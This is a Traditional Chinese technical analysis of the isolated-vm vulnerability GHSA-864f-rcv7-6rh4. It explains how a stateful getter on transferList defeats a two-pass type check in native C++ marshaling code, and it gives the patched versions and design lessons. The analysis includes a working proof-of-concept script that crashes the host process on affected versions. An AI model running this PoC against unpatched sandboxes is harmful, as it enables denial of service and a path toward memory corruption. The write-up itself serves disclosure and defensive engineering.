V8 堆積隔離竟然攔不住 Native 層!
摘要
報告分析
isolated-vm
中編號 GHSA-864f-rcv7-6rh4 的重大型態混淆漏洞(Type-confusion vulnerability)。核心發現是架構性的:
V8 Isolate
邊界保持完整,但在該邊界負責編組資料的原生 C++ 層,重新讀取了由攻擊者控制的 JavaScript 資料,並信任了較早的型態檢查。因此,
transferList
上的
具狀態存取器(stateful accessor)
將一個檢查時間/使用時間(Time-Of-Check/Time-Of-Use,
TOCTOU
)的落差,轉變為未經檢查的
ArrayBuffer
強制轉型(cast)、主機記憶體毀損,以及一個從
阻斷服務
通往
控制流劫持(control-flow hijacking)
的已驗證路徑。此分析重建了資料流,檢視主要報告中的四個程式碼片段,並從修補後的設計中歸納出工程控制措施。
1. 安全邊界與資料移動模型
isolated-vm 將不受信任的 JavaScript 指派到一個獨立的 V8 Isolate 中,該 Isolate 擁有自己的堆積(Heap)與內建功能。來賓程式碼(Guest code)不會自動繼承主機的全域變數、模組載入機制或主機物件參照。這是一種比單一環境(Context)內的 JavaScript 分區更強大的邊界,因為來賓與主機的物件圖(object graph)並非共享的。 [1]
跨越該邊界需要進行資料編組(marshaling)。
ExternalCopy
通常會使用 V8 的結構化複製機制(structured-clone)將一個值序列化,並在目標堆積中重建它。對於大型
ArrayBuffer
物件,
transferList
提供了一條零複製路徑:來源緩衝區會被分離(detached),其背後的儲存空間(backing store)會被轉移而非複製。這個最佳化措施正是正確性仰賴原生層同時維持物件身分假設以及輸入值時間穩定性的關鍵所在。
| 套件 | 受影響版本範圍 | 已修復版本 | 安全影響 |
|---|---|---|---|
| isolated-vm | < 7.0.1 | 7.0.1 | 來賓可觸及的型態混淆與主機記憶體毀損 |
| isolated-vm | < 6.2.0 | 6.2.0 | 6.x 版本線上的相同根本原因 |
2. 重建後的攻擊面
主要參考文章中的兩張原始圖表顯示了一個三階段的關係:主機或客體提供一個值,原生 C++ 介面銜接層(Glue)選擇序列化或轉移,目標 Isolate 接收結果。此漏洞並非一般堆積分離的失靈,而是未能使轉移操作相對於 JavaScript 的觀察具備原子性(atomic)。
圖 1. 主要參考文章重建,顯示能力可達性、雙重觀測、混淆強制轉型以及主機端失效。 [1]
3. 根本原因:一個 TOCTOU 型態混淆
主要的程式碼缺陷可見於下方兩次走訪之間的關係。第一次走訪驗證每個元素並將其註冊到序列化器(serializer)。第二次走訪假設會觀測到相同的值,並在未重複判斷條件(predicate)的情況下執行轉移。這個假設對於不可變的快照(immutable snapshot)是成立的,但
transferList
是一個普通的 JavaScript 陣列,其索引讀取可以執行使用者定義的存取器(accessor)。
- // Walk 1: validation and registration of each transfer entry.
- for (auto handle : transfer_list) {
- if (handle->IsArrayBuffer()) {
- serializer.TransferArrayBuffer(ii++, handle.As<ArrayBuffer>());
- } else {
- throw RuntimeTypeError("Non-ArrayBuffer passed in `transferList`");
- }
- }
- // Walk 2: the primary article identifies this as the unchecked cast.
- for (auto handle : transfer_list) {
- array_buffers.emplace_back(
- ExternalCopyArrayBuffer::Transfer(handle.As<ArrayBuffer>())
- );
- // No second IsArrayBuffer() check is performed here.
- }
每次迭代都會觸及
array->Get(context, index)
,因此該值並非由第一次走訪所捕捉的穩定區域變數。該存取器可以在驗證期間回傳一個真正的緩衝區,並在轉移期間回傳一個非緩衝區。由於
As<ArrayBuffer>()
被描述為一種類似重新解讀(reinterpret-style)的 assertion,而非一個經過檢查的轉換,第二次走訪會將攻擊者選取的表示法轉換為一個類似指標(pointer-shaped)的物件。
ExternalCopyArrayBuffer::Transfer
隨後會透過
IsDetachable()
與
GetBackingStore()
存取欄位。因此,此錯誤是快照語意、驗證結果重複使用,以及記憶體不安全的原生強制轉型這三者複合而成的失效。
- // Stateful accessor used by the primary article to produce two values.
- let reads = 0;
- Object.defineProperty(transferList, 0, {
- enumerable: true,
- get() {
- // First observation satisfies validation; second observation changes type.
- return ++reads === 1 ? real : 0x41414141;
- },
- // valid on read #1, confused on read #2
- });
該整數不僅僅是格式錯誤的應用程式資料。在報告的執行中,它的 V8 標記(tagging)促成了一個受攻擊者影響的錯誤位址,這證明原生程式碼已從輸入驗證跨入記憶體安全失效的領域。
4. 客體可觸及性與概念驗證
漏洞的可利用性並不需要主機暴露整個模組。主要參考文章顯示,一個普通的
ivm.Reference
就已足夠,因為
externalCopy
轉移選項會讓
ExternalCopy
建構式以一個可在客體中呼叫的類別(live callable class)形式存在。這是一個重要的能力分析結果:當可轉移物件(transferable objects)在跨越邊界時保留了行為,一個看似狹窄的賦予(endowment)就能暴露一個高風險的建構式。
- // The guest-side expression shown in the primary article.
- // It recovers the callable ExternalCopy constructor from one Reference.
- const ExternalCopy = ref.getSync('anyKey', { externalCopy: true }).constructor;
下方的完整主要來源 PoC 將主機設定保持在最小範圍,並將具狀態的取值函式(stateful getter)放在
evalSync
內部。它展示了在受影響版本上可重現的主機當機;它並未重現被保留的控制流劫持攻擊程式。
- const ivm = require('isolated-vm'); // Host loads the isolate library.
- const isolate = new ivm.Isolate(); // Create a separate V8 heap.
- const context = isolate.createContextSync();
- context.global.setSync('ref', new ivm.Reference({ x: 1 })); // Sole endowment.
- context.evalSync(`
- // Guest obtains only the constructor transferred through the Reference.
- const ExternalCopy = ref.getSync('x', { externalCopy: true }).constructor;
- const real = new ArrayBuffer(8); // Value returned during validation.
- let reads = 0;
- const transferList = [];
- Object.defineProperty(transferList, 0, {
- enumerable: true,
- get() { return ++reads === 1 ? real : 0x41414141; },
- // The same array element changes between native walks.
- });
- new ExternalCopy({}, { transferList }); // Triggers the vulnerable path.
- `);
所回報的結果是在
v8::ArrayBuffer::IsDetachable
內部發生
SIGSEGV
,且錯誤位址源自於所提供的整數。最低影響是客體觸發的阻斷服務(denial of service)。主要參考文章也回報了一個進一步的客體端研究展示,該展示復原了位址基底、偽造了控制資料,並重新導向了一個間接呼叫(indirect call);完整的攻擊程式在此刻意不予重現。
5. 邊界模型比較
一份前期報告描述了另一個 Node.js
vm
逃逸案例,其中原型鏈(prototype-chain)的遍歷(traversal)觸及了一個與主機關聯的
Function
建構式,然後是主機的
process
物件。
[2]
這種對比在技術上是有用的。該案例將共享環境(shared-context)的 JavaScript 邊界視為弱點;而 GHSA-864f-rcv7-6rh4 則顯示,即使是獨立的 V8 Isolate,仍然可能被不當處理跨邊界值的原生介面銜接層所擊敗。因此,強大的隔離操作(primitive)雖然能減少,但並不能消除進行能力審查(capability review)和記憶體安全編組(memory-safe marshaling)的需求。
6. 修補方式與工程啟示
維護者透過將複製操作包裝在
v8::Isolate::DisallowJavascriptExecutionScope
中,修復了受影響的版本線。在安全敏感的複製過程中阻斷取值函式(getters)、代理器(proxies)與攔截器(interceptors),消除了導致兩次走訪不一致所需的重入性(re-entrancy)。
[1]
使用者應更新至 7.0.1 或 6.2.0,並將此次更新視為邊界修復行動,而不僅僅是例行性的依賴更新。
以下三項設計控制措施隨之而生。第一,驗證並使用一個穩定的快照,或者執行一個同時進行驗證與轉移的單一回合處理;絕不重複使用跨越攻擊者可控物件重讀的檢查結果。第二,讓原生的轉換 API 在使用點(point of use)保持檢查狀態,尤其是當強制轉型之後緊接著是指標或儲存空間存取(backing-store access)時。第三,最小化參照(references)並稽核從每個客體能力到執行原生序列化之建構式的可達性。可達性分析比僅檢查套件是否存在更具參考價值,因為此攻擊需要一條從不受信任的客體程式碼通往有漏洞之轉移選項的路徑。
結論
GHSA-864f-rcv7-6rh4 展示的是一個邊界層級的失效,而非 V8 堆積分離的崩潰。決定性的序列很簡單:一個存取器在兩次原生觀測之間改變了某個元素;第一次觀測的驗證結果在第二次觀測時被信任;一個未經檢查的強制轉型將此不一致轉換為主機記憶體操作。此教訓適用於所有依賴原生編組來維持安全性的沙箱(sandbox)。隔離、能力最小化、複製期間的執行抑制以及使用點驗證,必須被設計為一個整體的安全屬性。